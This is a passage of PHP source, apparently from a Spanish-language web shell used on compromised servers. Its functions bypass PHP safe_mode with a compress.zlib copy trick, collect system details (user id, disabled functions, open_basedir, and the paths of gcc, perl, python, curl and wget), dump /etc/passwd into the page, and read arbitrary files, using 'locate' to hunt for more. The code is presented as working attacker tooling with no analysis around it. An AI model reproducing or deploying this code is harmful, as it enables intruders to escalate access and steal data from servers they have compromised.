function leer_archivo_copy_safe_mode_bypass($ruta) { //http://securityreason.com/achievement_securityalert/37 static $recursivo; if ($recursivo == true) { return false; } else { $recursivo = true; if ($temporal = tempnam(directorio_escribible())) { copy('compress.zlib://' . $ruta, $temporal); $archivo = leerarchivo($temporal); unlink($temporal); } $recursivo = false; } }
function mostrarinformacion() { $ruta = getcwd() or '/'; if (!ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'off') { $safemode = 'No'; } else { $safemode = 'Si'; } $salida = '<b>' . htmlentities(__FILE__, ENT_QUOTES, 'UTF-8') . '</b><br><br> <b>' . htmlentities(decodeSize(disk_free_space($ruta)), ENT_QUOTES, 'UTF-8') . '</b> / <b>' . htmlentities(decodeSize(disk_total_space($ruta)), ENT_QUOTES, 'UTF-8') . '</b><br><br> <b>PHP:</b> ' . htmlentities(phpversion(), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Zend:</b> ' . htmlentities(zend_version(), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Safe_mode:</b> ' . $safemode . '<br><br> <b>Funciones desactivadas:</b> ' . htmlentities(ini_get('disable_functions'), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Open basedir:</b> ' . htmlentities(ini_get('open_basedir'), ENT_QUOTES, 'UTF-8') . '<br><br> <b>' . htmlentities(php_uname(), ENT_QUOTES, 'UTF-8') . '</b><br><br>'; if ($id = shell('id', false)) { $salida .= '<b>' . htmlentities($id, ENT_QUOTES, 'UTF-8') . '</b><br><br> ' . htmlentities(shell('whereis gcc', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis perl', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis python', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis curl', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis wget', false), ENT_QUOTES, 'UTF-8') . '<br><br> <br> '; } if ($usuarios = leerarchivo('/etc/passwd')) { $salida .= '<b>/etc/passwd:</b><br> <textarea style="width:100%;" rows="10">' . $usuarios . '</textarea><br><br>'; } return $salida; }
function mostrararchivo($ruta, $loc = true) { static $leidos; //Si hay alguna funcion especial que bypassee el open_basedir tiene que ir acá $ruta = realpath($ruta); if (filesize($ruta) < 50000) { if (strpos($leidos, "\n" . $ruta . "\n") == false) { $leidos .= "\n" . $ruta . "\n"; $contenido = htmlentities(leerarchivo(ltrim($ruta)), ENT_QUOTES, 'UTF-8'); if ($contenido) { $lineas = substr_count($contenido, "\n"); if ($lineas > 15) { $lineas = 15; } echo '<div class="s">' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . ':</div><textarea style="width:100%;" rows="' . $lineas . '">' . $contenido . '</textarea><br><br>'; } elseif ($loc and $loc != "''") { //usamos locate para encontrar mas archivos con ese nombre echo $ruta . "<br>"; $locate = shell("locate " . escapeshellarg(basename($ruta)), false); $locate = explode("\n", $locate); if ($locate) { foreach ($locate as $ubicacion) { mostrararchivo($ubicacion, false); } } } } } else { echo '<div class="n" style="text-decoration: underline;">No se puede leer ' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . ' porque supera los 50000 bytes</div><br>'; } }